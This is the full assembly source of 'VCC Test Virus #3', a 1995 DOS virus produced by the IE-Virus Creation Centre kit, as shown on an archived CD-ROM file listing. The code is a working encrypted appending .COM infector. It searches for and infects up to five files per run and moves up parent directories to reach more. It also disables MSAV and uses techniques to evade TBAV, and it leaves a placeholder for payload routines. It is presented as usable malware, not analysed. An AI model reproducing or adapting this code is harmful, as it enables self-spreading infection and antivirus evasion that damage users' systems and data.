home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / IVCCUPD4.ZIP / IVCC009B.ZIP / SAMPLES / SAMPLE3.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-06-01  |  8.7 KB  |  206 lines

  1. ; Virus-Name:                      'VCC Test Virus #3'
  2. ; Virus-ID:                        '[TV]'
  3. ; Author:                          'Hacking Hell'
  4. ; Author ID:                       '[HH]'
  5. ; Creator:                         '[IE-VCC v0.09ß]'
  6. ; Creator ID:                      '[IE]'
  7.           
  8. .Model Tiny                        ; Every seen a .Model Huge in a virus?!?
  9. .Radix 16                          ; Standard Hexadecimal
  10. .Code                              ; Code segment
  11.           
  12. Dummy:                             ; This is the fake host (dummy)
  13.           db      0E9,03,00        ; JuMP to S_O_V (Start Of Virus)
  14.           db      'C'              ; Already infected marker
  15.           Int     20               ; Exit from fake host
  16.           
  17. S_O_V:                             ; Start Of Virus
  18.           
  19.           Push    CS               ; Some crap to fool TBAV
  20.           Pop     DS               ; Crap!
  21.           
  22.           Mov     AX,0FA01         ; Let's take down MSAV
  23.           Mov     DX,5945
  24.           Int     16
  25.           
  26.           Call     GetDeltaOfs     ; Get the delta offset
  27. GetDeltaOfs:
  28.           Pop      BP              ; BP is equal to IP
  29.           Sub      BP,Offset GetDeltaOfs  ; Now BP is really initiated!
  30.           
  31.           Call    En_Decrypt       ; Call the encryption / Decryption driver
  32.           
  33.           Jmp     CodeSt           ; TBAV Won't trace this ?!?
  34.           Int     20               ; For TBAV this is the end of the virus ?!?
  35.           
  36. S_O_E:                             ; Start Of Encrypted part
  37. CodeSt:                            ; This is where the virus really starts
  38.           Lea     SI,[Offset Original_Bytes+BP]  ; Source pointer for orig. bytes
  39.           Mov     DI,0100          ; Destination pointer
  40.           Movsw
  41.           Movsw
  42.           
  43.           Push    CS               ; CS <==> DS
  44.           Pop     DS
  45.           
  46.           Lea     DX,[E_O_V+BP]    ; Set DTA address to End Of Virus
  47.           Mov     AH,1A
  48.           Int     21
  49.           Mov     AX,3501          ; 'Uninstall' int 1
  50.           Sub     AX,1000          ; Fool TBAV
  51.           Mov     BX,0000
  52.           Mov     ES,BX
  53.           Int     21
  54.           
  55.           Mov     AL,01            ; 'Uninstall' int 3
  56.           Int     21
  57.           
  58. Spread:                            ; Here is the file-search routine
  59.           Mov     Byte Ptr[Infections+BP],0  ; Reset infection counter
  60. Spraed:                            ; This label is used by Traverse
  61.           Mov     AH,4E            ; Find first matching file
  62.           Lea     DX, [Offset FileSpec+BP]
  63.           
  64. FindNext:                          ; Here will be the INT 21 call
  65.           Cmp     Byte Ptr [Infections+BP],5  ; Check if all infections are done
  66.           Je      Reset_DTA        ; Yes? Reset the DTA and call activation routines
  67.           
  68.           Mov    Byte Ptr [Offset FileSpec+BP],'*'  ; Fool TBAV from finding '*.COM'
  69.           Int     21
  70.           Jc      Traverse         ; No more files, then traverse
  71.           Call    InfectFile       ; Call to the infection routine
  72.           
  73. NextFile:                          ; Set AH to findnext
  74.           Mov     AH,4F
  75.           Jmp     FindNext
  76.           
  77. Traverse:                          ; The traversal routine:
  78.           Mov     AH,3Bh           ; Change Directory (H must be or TASM thinks binary)
  79.           Lea     DX,[Offset TravelSpec+BP]  ; Pointer to '..' specification
  80.           Int     21
  81.           Jnc     Spraed
  82.           
  83. Reset_DTA:                         ; Reset the Disk Transfer Address
  84.           Mov     AH,1A            ; Set DTA Address
  85.           Mov     DX,80            ; to 80Hex
  86.           Int     21
  87.           
  88.           Call    Activations      ; Call the activation Routine(s)
  89.           
  90.           Mov     DI,0100          ; Give control to original program
  91.           Push    DI               ; Simulate a call
  92.           Ret
  93.           
  94. Activations:                       ; Place your activation Routines here!
  95.           
  96.           Ret
  97. VirusName:                         ; Name Of the virus
  98.           DB      'VCC Test Virus #3',0
  99. AuthorName:                        ; Name Of the author
  100.           DB      'Hacking Hell',0
  101. Creator:                           ; Name of the creator
  102.           DB      'I-EAS Virus Creation Centre 0.09ß'
  103. VirusID:                           ; ID of the virus
  104.           DB      '[TV]',0
  105. AuthorID:                          ; ID of the author
  106.           DB      '[HH]',0
  107. CreatorID:                         ; ID of the creator
  108.           DB      '[IE-VCC v0.09ß]',0
  109.           
  110. Original_Bytes:                    ; Original bytes will be stored here
  111.           DB      90,90,90,90      ; Fake host: 4 NOPs
  112. Jump_Table:                        ; This is the jump table that will be put
  113.           DB      0E9,03,00,'C'    ;  in the beginning of the victim
  114. Infections:                        ; Infection counter
  115.           DB      0
  116. FileSpec:                          ; Filefind Spec
  117.           DB      '+.COM',0        ; Filefind Spec (+ Will change into *)
  118. TravelSpec:                        ; Change Directory Spec (..)
  119.           DB      '..',0
  120.           
  121. InfectFile:                        ; The Infection Routine:
  122.           Mov     Byte Ptr [FileSpec+BP],'+'  ; Turn the * in a +
  123.           Lea     DX,[E_O_V+1E+BP]  ; Open the victim
  124.           Mov     AX,3D02
  125.           Int     21
  126.           Jnc     InfectIt         ; If file opened OK infect it!
  127.           Ret
  128.           
  129. InfectIt:                          ; The real infection Routine
  130.           Xchg    BX,AX            ; Copy handle in BX
  131.           
  132.           Mov     CX,0004          ;Read first 4 bytes for check
  133.           Mov     AH,3F            ; if already infected!
  134.           Lea     DX,[Original_Bytes+BP]
  135.           Int     21
  136.           
  137.           Cmp    Byte Ptr [Original_Bytes+3+BP],'C'  ; Already Infected
  138.           Jz     Shut_File         ; Close & Next file
  139.           
  140.           Mov     AX,4202          ; Goto E_O_F
  141.           Sub     CX,CX            ; 2 byte version of Mov CX,0!!
  142.           Cwd                      ; 1 Byte version of Mov DX,0!!
  143.           Int     21
  144.           
  145.           Sub     AX,0003h         ; Initialize Jump Table
  146.           Mov     Word Ptr [Jump_Table+1+BP],AX
  147.           
  148.           Mov     AX,4200          ; Goto S_O_F
  149.           Sub     CX,CX
  150.           Cwd
  151.           Int     21
  152.           
  153.           Mov     AX,4000          ; Write jump table over the original
  154.           Mov     CX,0004          ;  four bytes
  155.           Lea     DX,[Jump_Table+BP]
  156.           Int     21
  157.           Inc     Byte Ptr [Infections+BP]  ; Increase infection count
  158.           
  159.           Mov     AX,4202          ; Goto E_O_F
  160.           Sub     CX,CX            ; 2 byte version of Mov CX,0!!
  161.           Cwd                      ; 1 Byte version of Mov DX,0!!
  162.           Int     21
  163.           
  164.           Mov     AH,2C            ; Get a random XOR value for the Encryption
  165.           Int     21
  166.           Mov     Byte Ptr [En_De_Code+BP],DL
  167.           
  168. E_O_E:                             ; End Of Encrypted Part
  169.           Call    En_Decrypt       ; Encrypt the virus
  170.           
  171.           Mov     AH,40            ; Implend virus code in the victim
  172.           Mov     CX,(E_O_V - S_O_V)  ; Calculate Size
  173.           Lea     DX,[S_O_V+BP]    ; Starting location
  174.           Int     21
  175.           
  176.           Call    En_Decrypt       ; Decrypt the virus
  177.           
  178. Shut_File:                         ; Close the victim file
  179.           Mov     AH,3E
  180.           Int     21
  181.           Ret                      ; End of infection routine
  182.           
  183. En_Decrypt:                        ; Here is the En / De cryption routine
  184.           Lea     SI,[Offset S_O_E+BP]  ; Start of encrypted part
  185.           Mov     CX,(E_O_E - S_O_E)  ; Size of encrypted part
  186. Cryption_Loop:                     ; Here's the loop for the Routine
  187.           DB      80,34            ; Xor Byte Ptr [SI], xx
  188. En_De_Code:                        ; Here will be the XOR value (xx)
  189.           DB      00               ; Not initiated yet
  190.           Inc     SI
  191.           Dec     CX
  192.           Jnz     Cryption_Loop
  193.           Ret
  194.           
  195. E_O_V:                             ; End Of Virus label
  196.           End     Dummy            ; Set starting IP to the fake host
  197.           
  198. This virus has been produced by IE-Virus Creation Centre v0.09ß
  199. Some specific information about this creation: 
  200.  + It an appending .COM file infector
  201.  + It is encrypted
  202.  + It has minor capabilities to make the code untraceble
  203.  + If there are not enough uninfected files, it travels to '..'
  204.  + It uses several techniques to fool TBAV
  205.  + It takes down MSAV from memory
  206.